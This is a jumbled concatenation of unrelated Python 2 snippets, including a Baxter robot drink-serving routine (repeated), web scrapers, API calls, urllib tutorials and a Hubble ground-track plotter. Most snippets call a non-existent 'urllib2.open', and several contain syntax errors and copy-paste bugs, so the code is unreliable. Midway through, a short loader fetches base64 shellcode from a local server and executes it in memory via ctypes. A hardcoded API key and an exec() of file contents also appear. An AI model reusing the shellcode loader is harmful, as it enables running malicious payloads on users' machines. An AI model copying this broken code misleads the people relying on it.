currxyz = move(currxyz, (0, .5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (-.2, 0, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (.2, 0, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, -.5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.open()
currxyz = move(currxyz, (0, 0, -.17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
tag8 = get_ar(8)
tag9 = get_ar(9)
tag10 = get_ar(10)
if tag8.tag_name != 'notfound': tags[8] = tag8
if tag9.tag_name != 'notfound': tags[9] = tag9
if tag10.tag_name != 'notfound': tags[10] = tag9
############################################# done sensing the environment
order = urllib2.open('http://baxterorder.herokuapp.com/getorder').read()
print order
raw_input('continue with making order!')
################ pick up bottle with '8' contents
cup_tag_near_8 = get_closest_cup_tag(tag8, cup_tags)
curr = None
if cup_tag_near_8.tag_name == '3':
currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z)
curr = 3
elif cup_tag_near_8.tag_name == '4':
currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z)
curr = 4
elif cup_tag_near_8.tag_name == '5':
currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z)
curr = 5
currxyz = move(currxyz, (-.1, .1, -.1))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, 0, .17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.close()
currxyz = move(currxyz, (0, .5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src')
os.system(
'rosrun cup_grabber joint_trajectory_file_playback.py -f left_starting_position'
)
os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src')
os.system(
'rosrun cup_grabber joint_trajectory_file_playback.py -f right_pouring'
)
currxyz = move(currxyz, (0, -.5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.open()
currxyz = move(currxyz, (0, 0, -.17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
################ pick up bottle with '9' contents
cup_tag_near_9 = get_closest_cup_tag(tag9, cup_tags)
if cup_tag_near_9.tag_name == '3':
currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z)
curr = 3
elif cup_tag_near_9.tag_name == '4':
currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z)
curr = 4
elif cup_tag_near_9.tag_name == '5':
currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z)
curr = 5
currxyz = move(currxyz, (-.1, .1, -.1))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, 0, .17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.close()
currxyz = move(currxyz, (0, .5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src')
os.system(
'rosrun cup_grabber joint_trajectory_file_playback.py -f right_pouring'
)
currxyz = move(currxyz, (0, -.5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.open()
currxyz = move(currxyz, (0, 0, -.17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
################ pick up bottle with '10' contents
cup_tag_near_10 = get_closest_cup_tag(tag10, cup_tags)
if cup_tag_near_10.tag_name == '3':
currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z)
curr = 3
elif cup_tag_near_10.tag_name == '4':
currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z)
curr = 4
elif cup_tag_near_10.tag_name == '5':
currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z)
curr = 5
currxyz = move(currxyz, (-.1, .1, -.1))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, 0, .17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.close()
currxyz = move(currxyz, (0, .5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src')
os.system(
'rosrun cup_grabber joint_trajectory_file_playback.py -f right_pouring'
)
currxyz = move(currxyz, (0, -.5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.open()
currxyz = move(currxyz, (0, 0, -.17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src')
os.system('rosrun cup_grabber joint_trajectory_file_playback.py -f serve')
os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src')
os.system('rosrun cup_grabber joint_trajectory_file_playback.py -f dab')
def getdata(category):
url = "http://api.nytimes.com/svc/search/v2/articlesearch/" + category + ".jsonp?callback=nyt_biz_news_cb&api-key=024b40b8c1e9ef1333054858a907a687:6:73721357"
result = json.loads(urllib2.open(url).read())
return result
import urllib2
import simplejson
url="http://www.amazon.com/s/ref=nb_sb_noss_2/185-5945162-0333204?url=search-alias%3Daps&field-keywords=laptop"
if __name__ == "__main__":
req = urllib2.Request(url)
opener = urllib2.open(req)
json = simplejson.load(f)
for item in json:
print item.get('id')
def recognize_image(url):
# return '42'
img = Image.open(urllib2.open(url).read())
return img.size
#check individual thesis pages
i = 0
recs = []
for rec in prerecs:
keepit = True
i += 1
print '---{ %i/%i (%i) }---{ %s }------' % (i, len(prerecs), len(recs), rec['link'])
try:
artpage = BeautifulSoup(urllib2.urlopen(rec['link'], context=ctx), features="lxml")
time.sleep(3)
except:
try:
print "retry %s in 180 seconds" % (rec['link'])
time.sleep(180)
artpage = BeautifulSoup(urllib2.open(rec['link'], context=ctx), features="lxml")
except:
print "no access to %s" % (rec['link'])
continue
#first get author
for meta in artpage.head.find_all('meta', attrs = {'name' : 'eprints.creators_name'}):
rec['autaff'] = [[ meta['content'] ]]
#affiliation
for meta in artpage.head.find_all('meta', attrs = {'name' : 'eprints.divisions'}):
if meta['content'] in divisionsdict.keys():
if meta['content'] in ['inst_50095', 'inst_50135', 'klips-14725', 'klips-14795']:
rec['fc'] = 'm'
elif meta['content'] in ['klips-14751']:
rec['fc'] = 'c'
rec['autaff'][-1].append(divisionsdict[ meta['content'] ])
else:
def add_news(self, accessToken, news): postUrl = "https://api.weixin.qq.com/cgi-bin/material/add_news?access_token=%s" % accessToken urlResp = urllib2.open(postUrl, news) print urlResp.read()
def downLoad(url):
content=urllib2.open(url).read()
name='[0-9]*\w.jpg'
def main():
tags = {}
cup_tags = []
#Wait for the IK service to become available
rospy.wait_for_service('compute_ik')
rospy.init_node('service_query')
#Define gripper objects
right_gripper = baxter_gripper.Gripper('right')
left_gripper = baxter_gripper.Gripper('left')
right_gripper.calibrate()
left_gripper.calibrate()
#Create the function used to call the AR service
compute_ik = rospy.ServiceProxy('compute_ik', GetPositionIK)
rospy.wait_for_service('fixed_multi_service')
get_ar = rospy.ServiceProxy('fixed_multi_service', ARPose)
#Assgign cups to AR tags
tag3 = get_ar(3)
tag4 = get_ar(4)
tag5 = get_ar(5)
cup_tags.append(tag3)
cup_tags.append(tag4)
cup_tags.append(tag5)
#Scan the enviroment: Get the closes cup to the right/left of respective AR tag
#Return the cup tag closest to AR tag
def get_closest_cup_tag(ar_tag, cup_tags):
def dist(x1, y1, z1, x2, y2, z2):
return (x1 - x2)**2 + (y1 - y2)**2 + (z1 - z2)**2
minDist = float('inf')
minTag = None
for T in cup_tags:
d = dist(ar_tag.pos_x, ar_tag.pos_y, ar_tag.pos_z, T.pos_x,
T.pos_y, T.pos_z)
if d < minDist:
minDist = d
minTag = T
return minTag
# starting position
os.system(
'rosrun cup_grabber joint_trajectory_file_playback.py -f starting_position'
)
#Initialize joints
left = baxter_interface.Limb('left')
right = baxter_interface.Limb('right')
grip_left = baxter_interface.Gripper('left', CHECK_VERSION)
grip_right = baxter_interface.Gripper('right', CHECK_VERSION)
lj = left.joint_names()
rj = right.joint_names()
# Return the tranlation motion
def move(curr, trans):
a = 14 * np.pi / 180
cx, cy, cz = curr
tx, ty, tz = trans
nz = tz * np.cos(a) - ty * np.sin(a)
ny = tz * np.sin(a) + ty * np.cos(a)
return (cx + tx, cy + ny, cz + nz)
#################################### Sense the Environment #####################################
#######################################################
################### Learning tag3 #####################
#######################################################
while tag3.tag_name == 'notfound':
tag3 = get_ar(3)
print 'tag3 not found'
cup_tags[0] = tag3
currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z) # AR tag position
currori = (-.083, -.02, -.697, .712) # AR tag orientation
#Open gripper
right_gripper.open()
#Move behind cup position
currxyz = move(currxyz, (-.1, .11, -.1))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
#Move to cup position
currxyz = move(currxyz, (0, 0, .17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
#Grab cup
right_gripper.close()
#Lift cup up
currxyz = move(currxyz, (0, .5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
#Move cup to the side to see Ar tag underneeth
currxyz = move(currxyz, (-.2, 0, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
#Move back after seeing AR tag
currxyz = move(currxyz, (.2, 0, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
#Put cup down
currxyz = move(currxyz, (0, -.5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
#Leave cup back in place
right_gripper.open()
#Move back to behind cup position
currxyz = move(currxyz, (0, 0, -.17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
# Initialize flavor tags
tag8 = get_ar(8)
tag9 = get_ar(9)
tag10 = get_ar(10)
# Check if flavor tags (underneeth cup) where found
if tag8.tag_name != 'notfound': tags[8] = tag8
if tag9.tag_name != 'notfound': tags[9] = tag9
if tag10.tag_name != 'notfound': tags[10] = tag9
#######################################################
################### Learning tag4 #####################
#######################################################
while tag4.tag_name == 'notfound':
tag4 = get_ar(4)
print 'tag4 not found'
cup_tags[1] = tag4
currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z)
currxyz = move(currxyz, (-.1, .11, -.1))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, 0, .17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.close()
currxyz = move(currxyz, (0, .5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (-.2, 0, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (.2, 0, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, -.5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.open()
currxyz = move(currxyz, (0, 0, -.17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
tag8 = get_ar(8)
tag9 = get_ar(9)
tag10 = get_ar(10)
if tag8.tag_name != 'notfound': tags[8] = tag8
if tag9.tag_name != 'notfound': tags[9] = tag9
if tag10.tag_name != 'notfound': tags[10] = tag9
#######################################################
################### Learning tag5 #####################
#######################################################
while tag5.tag_name == 'notfound':
tag5 = get_ar(5)
print 'tag5 not found'
cup_tags[2] = tag5
currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z)
currxyz = move(currxyz, (-.1, .1, -.1))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, 0, .17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.close()
currxyz = move(currxyz, (0, .5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (-.2, 0, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (.2, 0, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, -.5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.open()
currxyz = move(currxyz, (0, 0, -.17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
tag8 = get_ar(8)
tag9 = get_ar(9)
tag10 = get_ar(10)
if tag8.tag_name != 'notfound': tags[8] = tag8
if tag9.tag_name != 'notfound': tags[9] = tag9
if tag10.tag_name != 'notfound': tags[10] = tag9
#################################### Done sensing the environment ####################################
## Ping server to scan order and command Baxter to make the corresoponding drink
order = urllib2.open('http://baxterorder.herokuapp.com/getorder').read()
print order
raw_input('continue with making order!')
################ Pick up bottle with '8' contents
cup_tag_near_8 = get_closest_cup_tag(tag8, cup_tags)
curr = None
if cup_tag_near_8.tag_name == '3':
currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z)
curr = 3
elif cup_tag_near_8.tag_name == '4':
currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z)
curr = 4
elif cup_tag_near_8.tag_name == '5':
currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z)
curr = 5
currxyz = move(currxyz, (-.1, .1, -.1))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, 0, .17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.close()
currxyz = move(currxyz, (0, .5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src')
os.system(
'rosrun cup_grabber joint_trajectory_file_playback.py -f left_starting_position'
)
os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src')
os.system(
'rosrun cup_grabber joint_trajectory_file_playback.py -f right_pouring'
)
currxyz = move(currxyz, (0, -.5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.open()
currxyz = move(currxyz, (0, 0, -.17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
################ Pick up bottle with '9' contents
cup_tag_near_9 = get_closest_cup_tag(tag9, cup_tags)
if cup_tag_near_9.tag_name == '3':
currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z)
curr = 3
elif cup_tag_near_9.tag_name == '4':
currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z)
curr = 4
elif cup_tag_near_9.tag_name == '5':
currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z)
curr = 5
currxyz = move(currxyz, (-.1, .1, -.1))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, 0, .17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.close()
currxyz = move(currxyz, (0, .5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src')
os.system(
'rosrun cup_grabber joint_trajectory_file_playback.py -f right_pouring'
)
currxyz = move(currxyz, (0, -.5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.open()
currxyz = move(currxyz, (0, 0, -.17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
################ Pick up bottle with '10' contents
cup_tag_near_10 = get_closest_cup_tag(tag10, cup_tags)
if cup_tag_near_10.tag_name == '3':
currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z)
curr = 3
elif cup_tag_near_10.tag_name == '4':
currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z)
curr = 4
elif cup_tag_near_10.tag_name == '5':
currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z)
curr = 5
currxyz = move(currxyz, (-.1, .1, -.1))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, 0, .17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.close()
currxyz = move(currxyz, (0, .5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src')
os.system(
'rosrun cup_grabber joint_trajectory_file_playback.py -f right_pouring'
)
currxyz = move(currxyz, (0, -.5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.open()
currxyz = move(currxyz, (0, 0, -.17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
## After picking up bottles, command Baxter to serve drinks
os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src')
os.system('rosrun cup_grabber joint_trajectory_file_playback.py -f serve')
os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src')
os.system('rosrun cup_grabber joint_trajectory_file_playback.py -f dab')
import urllib2
import ctypes
import base64
#Download shellcode from server
url = "http://localhost:8000/shellcode.bin"
response = urllib2.open(url)
#decode the shellcode
shellcode = base64.b64decode(response.read())
#create buffer
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
#Function pointer to the shellcode
shellcode_func = ctypes.cast(shellcode_buffer,
ctypes.CFUNCTYPE(ctypes.c_void_p))
#invoke
shellcode_func()
import urllib2
help_File = urllib2.open('http://172.16.1.14:10009/sms/help')
ptz_startFile = urllib2.open('http://172.16.1.14:10009/sms/ptz/start')
ptz_startRet = ptz_startFile.read(100)
record_startFile = urllib2.open('http://172.16.1.14:10009/sms/record')
record_startRet = record_startFile.read(100)
#FIXME sleep time
sleep(1000)
ptz_closeFile = urllib2.open('http://172.16.1.14:10009/sms/ptz/close')
ptz_closeRet = ptz_closeFile.read(100)
sleep(1000)
def get_google_map_tile():
urllib2.open()
return None
translation=translation[:end_idx]
import simplejson
# apiKey = 'google api key goes here'
url = ('http://ajax.googleapis.com/ajax/services/language/translate'
'?v=1.0&q=bonjour&userip=142.103.47.18&hl=en&langpair=fr%7Cen')
referer = 'Referer url'
request = urllib2.Request(
url, None, {'Referer': referer})
response = urllib2.urlopen(request)
# Process the JSON string.
results = simplejson.load(response)
# now have some fun with the results...
page = urllib2.open(http://www.fao.org/fi/oldsite/FCP/fr/BEN/body.htm)
url = ('http://ajax.googleapis.com/ajax/services/language/translate?key=' + apiKey+page)
'''
soupHomepage = BeautifulSoup(urllib2.urlopen(Homepage))
lstLinks = soupHomepage.findAll(href=re.compile("/fi/website/FIRetrieveAction.do?"))
for link in lstLinks:
#stripLink = string.strip(str(link))
line = str(link)
start = string.find(line, "<a href=")+9
end = string.find(line, "\">")
return "<script>top.location.href='" + dialog_url + "'</script>"
else:
graph = GraphAPI()
response = graph.get(
path='oauth/access_token',
client_id=app_id,
client_secret=app_secret,
redirect_uri=post_login_url,
code=code
)
data = parse_qs(response)
graph = GraphAPI(data['access_token'][0])
graph.post(path = 'me/feed', message = 'Your message here')
"""
#def post ():
# post an item to the graph API
import urllib2
"""
urllib2.open() -> function to open any url
urllib2.parse() -> function to pass a query
urllib2.request()-> function to get http
"""
for pg in iter_page(id)
if msg=='happy birthday'
post('STATUS/ID',message:'thank you')
#!/usr/bin/env python
import urllib2
properties = {}
properties['protocol'] = 'http'
properties['host'] = 'www.google.com'
properties['port'] = '80'
properties['path'] = '/trends/'
#the properties in this map represent the URL:
#http://www.google.com:80/trends/
url = properties['protocol'] + '://' + \
properties['host'] + ':' + \
properties['port'] + \
properties['path']
print 'Reading URL', url
# ERROR IN THIS LINE !!!!!
response = urllib2.open(url)
print response.read()
print the_page
##发送data表单数据（post）
url = 'http://www.someserver.com/register.cgi'
values = {'name': 'why', 'loaction': 'SDU', 'language': 'python'}
data = urllib.urlencode(values) #编码工作
req = urllib2.Request(url, data) #发送请求同时传data表单
response = urllib2.urlopen(req) #接受反馈的信息
the_page = response.read() #读取反馈的内容
##发送data表单数据（GET）
import urllib2, urllib
data = {}
data = ['name'] = 'WHY'
data = ['location'] = 'SDU'
data = ['language'] = 'Python'
url_values = urllib.urlencode(data)
print url_values
url = 'http://www.example.com/example.cgi'
full_url = url + '?' + url_values
data = urllib2.open(full_url)
##设置Header到HTTP请求，不可用，但原理可借鉴（重要，模拟浏览器）
import urllib, urllib2
url = 'http://www.somesever.com/cegi-bin/register,cgi'
user_agent = 'Mozilla/4.0(compatible;MSIE 5.5;Windows NT)'
values = {'name': 'WHY', 'location': 'SDU', 'language': 'Python'} ##不一定需要
headers = {'user-Agent': user_agent}
data = urllib.urlencode(values)
req = urllib2.Request(url, data, headers)
respnse = urllib2.uropen(req)
the_page = resopnse.read()
def incluir(self,data={},widget="",modulo="plugin"):
if data=={}:
data=self.plugin.data
plugin=self.plugin.plugin
from modulos.ztec.zred import decode
from modulos.ztec.intervalor.control import generar2
if widget!="":
from config import config
import os
self.widget=widget
if modulo!="plugin":
if modulo=="admin":
from settings import config as settings
from settings import routes
self.ruta=config.base_root+config.apps_folder+settings.app+"/admin/"+routes.vistas_folder+routes.widgets_folder
elif modulo=="user":
self.ruta=config.base_root+config.apps_folder+settings.app+"/user/"+routes.vistas_folder+routes.widgets_folder
elif modulo=="global":
self.ruta=config.base_root+config.vistas_folder+config.widgets_folder
if os.path.exists(self.ruta+self.widget+".html"):
generar2(self.ruta+self.widget+".html",self.ruta+self.widget+".py","# -*- coding: utf-8 -*-\n")
elif os.path.exists(self.ruta+self.widget+"/"+self.widget+".html"):
self.ruta+=self.widget
plugin.widget_base_url+=self.widget+"/"
plugin.widget_url=plugin.widget_base_url+self.widget+".html"
generar2(self.ruta+self.widget+".html",self.ruta+self.widget+".py","# -*- coding: utf-8 -*-\n")
incluir=self.incluir
if data["app"]!=None:
from settings import config as settings
from settings import routes
if self.widget!=None:
import os,urllib2,urllib
from modulos.ztec.zu import filtrar_datos_planos
from modulos.ztec.intervalor.control import generar3
from config import config
plugin.widget_base_url=config.base_url+config.plugins_folder+plugin.name+"/"+plugin.widgets_folder
if os.path.exists(self.ruta+self.widget+".py"):
f=open(self.ruta+self.widget+".py")
script=f.read()
f.close()
doc=""
try:
exec(script)
return doc
except Exception as e:
return str(e)
elif os.path.exists(self.ruta+self.widget+"/"+self.widget+".py"):
plugin.widget_base_url+=self.widget
f=open(self.ruta+self.widget+"/"+self.widget+".py")
script=f.read()
f.close()
doc=""
try:
exec(script)
return doc
except Exception as e:
return str(e)
elif self.embebed=="php" and os.path.exists(self.ruta+self.widget+".php"):
params=urllib.urlencode({"data":filtrar_datos_planos(self.plugin.data)})
f=urllib2.urlopen(self.url+self.widget+".php",params)
return f.read()
elif self.embebed=="rb" and os.path.exists(self.ruta+self.widget+".html.rb"):
params=urllib.urlencode({"data":filtrar_datos_planos(self.plugin.data)})
generar3(self.ruta+self.widget+".html.rb",self.ruta+self.widget+".rb",formatear_rb,'#!/usr/bin/env ruby\nputs "Content-type: text/html\\n\\n"\n')
f=urllib2.urlopen(self.url+self.widget+".rb",params)
return f.read()
elif self.embebed=="pl" and os.path.exists(self.ruta+self.widget+".html.pl"):
params=urllib.urlencode({"data":filtrar_datos_planos(self.plugin.data)})
generar3(self.ruta+self.widget+".html.pl",self.ruta+self.widget+".pl",formatear_pl,'#!/usr/bin/env perl\nprint "Content-type: text/html\\n\\n";\n')
f=urllib2.urlopen(self.url+self.widget+".pl",params)
return f.read()
elif self.embebed=="sh" and os.path.exists(self.ruta+self.widget+".html.sh"):
params=urllib.urlencode({"data":filtrar_datos_planos(self.plugin.data)})
generar3(self.ruta+self.widget+".html.sh",self.ruta+self.widget+".sh",'#!/usr/bin/env sh\necho "Content-type: text/html\\n\\n";\n')
f=urllib2.open(self.url+self.widget+".sh",params)
return f.read()
elif self.embebed=="asp" and os.path.exists(self.ruta+self.widget+".html.asp"):
"""
Necesitara de un servidor
la extencion es ficticia
"""
params=urllib.urlencode({"data":filtrar_datos_planos(self.plugin.data)})
generar3(self.ruta+self.widget+".html.sh",self.ruta+self.widget+".sh","#!/usr/bin/env asp\n")
f=urllib2.open(self.url+self.widget+".sh",params)
return f.read()
elif self.embebed=="cpp" and os.path.exists(self.ruta+self.widget+".htm.cpp"):
"""
Necesitara de un servidor
la extencion es ficticia
"""
params=urllib.urlencode({"data":filtrar_datos_planos(self.plugin.data)})
generar3(self.ruta+self.widget+".html.cpp",self.ruta+self.widget+".cpp","#!/usr/bin/env cpp\n")
f=urllib2.open(self.url+self.widget+".cpp",params)
return f.read()
elif self.embebed=="go" and os.path.exists(self.ruta+self.widget+".go"):
"""
Necesitara de un servidor
la extencion es ficticia
"""
params=urllib.urlencode({"data":filtrar_datos_planos(self.plugin.data)})
f=urllib3.open(self.url+self.widget+".go",params)
return f.read()
def plotContoursOverHSTTrack(data, hst_start, hst_stop, tlefile, ephemerisOnline = False, SAA_zoomed = False, hold_on = False):
num_points = int((hst_stop - hst_start)/ephem.minute) + 1
# Read in the HST Two-Line ephemeris
if ephemerisOnline:
import urllib2
hand = urllib2.open('http://celestrak.com/NORAD/elements/science.txt')
data = hand.readlines()
hand.close()
HST = [[d[val], d[val+1], d[val+2]] for val, line in enumerate(d) if 'HST' in line]
hst = ephem.readtle(string.strip(HST[0][0]), string.strip(HST[0][1]), string.strip(HST[0][2]))
else:
temp = open(tlefile, 'r').readlines()
hst = ephem.readtle(string.strip(temp[0]), string.strip(temp[1]), string.strip(temp[2]))
cur_time = hst_start
hst_longs = []
hst_lats = []
for i in range(0,num_points):
hst.compute(cur_time)
hst_longs.append(hst.sublong.znorm*180.0/math.pi)
hst_lats.append(hst.sublat*180.0/math.pi)
cur_time = cur_time + ephem.minute
hst_longs = N.array(hst_longs)
hst_lats = N.array(hst_lats)
#projection
lon_0 = 335
lat_0 = -20
llcrnrlat = -60
llcrnrlon = -100
urcrnrlat = 20
urcrnrlon = 60
# use these values to setup Basemap instance.
width = 14000000
height = 10000000
#SAA
if SAA_zoomed:
m = Basemap(width = width, height = height, resolution = 'c', projection = 'aeqd', lat_0 = lat_0, lon_0 = lon_0)
sz = 100
else:
m = Basemap(resolution='c', projection='mbtfpq', lon_0 = lon_0)
sz = 35
#OTHER PROJECTIONS
# crashed?
#m = Basemap(resolution='c', projection='aeqd', lat_0 = lat_0, lon_0 = lon_0)
# Full map, good
#m = Basemap(resolution='c', projection='mbtfpq', lon_0 = lon_0)
# Full map, diff projection
#m = Basemap(resolution='c', projection='moll', lon_0 = lon_0)
# Globe, SAA well presented
#m = Basemap(resolution='c', projection='ortho', lon_0 = lon_0, lat_0 = lat_0)
# Square, SAA well presented.
#m = Basemap(resolution='c',projection='cyl',llcrnrlat=llcrnrlat,llcrnrlon=llcrnrlon,urcrnrlat=urcrnrlat,urcrnrlon=urcrnrlon)
p = FontProperties()
font1 = p.copy()
font1.set_size('small')
# draw coasts and fill continents.
m.drawcoastlines(linewidth = 0.5)
#m.fillcontinents()
m.drawparallels(arange(-80,81,10),labels=[1,1,0,0],fontproperties=font1,labelstyle="+/-")
m.drawmeridians(arange(-180,180,20),labels=[0,0,0,1],fontproperties=font1,labelstyle="+/-")
m.bluemarble()
m.drawmapboundary()
# SAA 02
x2,y2 = m([357.4-360,357.6-360,356.9-360,355.0-360,352.3-360,348.7-360,342.9-360,336.4-360,324.8-360,303.2-360,292.1-360,289.0-360,285.9-360,283.5-360,282.5-360,282.4-360,282.7-360,357.4-360], \
[-28.3,-26.1,-23.7,-21.2,-18.8,-16.3,-13.0,-10.6, -9.1,-11.9,-14.9,-17.0,-19.1,-21.3,-23.7,-26.0,-28.6,-28.3])
# SAA 03
x3,y3 = m([ 20.0, 21.0, 19.0, 7.5,347.0-360,336.4-360,324.8-360,303.2-360,292.1-360,285.9-360,283.5-360,282.5-360,282.4-360,282.7-360, 20.0], \
[-28.3,-27.5,-26.1,-19.8, -9.6, -7.6, -6.0, -7.9,-12.0,-17.1,-20.3,-23.5,-26.0,-28.6,-28.3])
# SAA 04
x4,y4 = m([ 25.0, 7.0,351.0-360,341.0-360,318.0-360,300.0-360,290.0-360,284.0-360,278.0-360,273.0-360,275.0-360, 25.0], \
[-28.5,-16.0, -6.5, -2.0, 1.0, -3.0, -7.0,-10.0,-15.0,-20.0,-30.0,-28.5])
# SAA 05,23
x5,y5 = m([300.0-360, 45.0, 40.0, 30.0, 10.0, 0.0,341.0-360,318.0-360,300.0-360,283.0-360,273.0-360,275.0-360,300.0-360], \
[-50.0,-30.0,-25.0,-21.0,-15.0,-10.2, -2.0, 1.0, -3.0, -8.0,-20.0,-30.0,-50.0])
# SAA 06
x6,y6 = m([ 20.0, 21.0, 19.0, 7.5,347.0-360,336.4-360,324.8-360,303.2-360,292.1-360,285.9-360,283.5-360,282.5-360,282.4-360,282.7-360, 20.0], \
[-28.3,-27.5,-26.1,-19.8, -9.6, -7.6, -6.0, -7.9,-12.0,-17.1,-20.3,-23.5,-26.0,-28.6,-28.3])
#SAA
saa02 = m.plot(x2,y2,marker='D',markersize=4.0,markeredgewidth=0.0,color='turquoise',linestyle='-',label='02')
saa03 = m.plot(x3,y3,marker='v',markersize=4.0,markeredgewidth=0.0,color='white',linestyle='-',label='03')
saa04 = m.plot(x4,y4,marker='^',markersize=4.0,markeredgewidth=0.0,color='orange',linestyle='-',label='04')
saa05 = m.plot(x5,y5,marker='s',markersize=4.0,markeredgewidth=0.0,color='green',linestyle='-',label='05')
saa06 = m.plot(x6,y6,marker='x',markersize=4.0,markeredgewidth=1.0,color='magenta',linestyle='-',label='06')
# HST observation ground track
xhst, yhst = m(hst_longs, hst_lats)
#hst = m.plot(xhst,yhst,marker='+',markersize=4.0,markeredgewidth=1.0,color='red',linestyle='-',linewidth=0.7,label='hst')
#scatter plot
if hold_on:
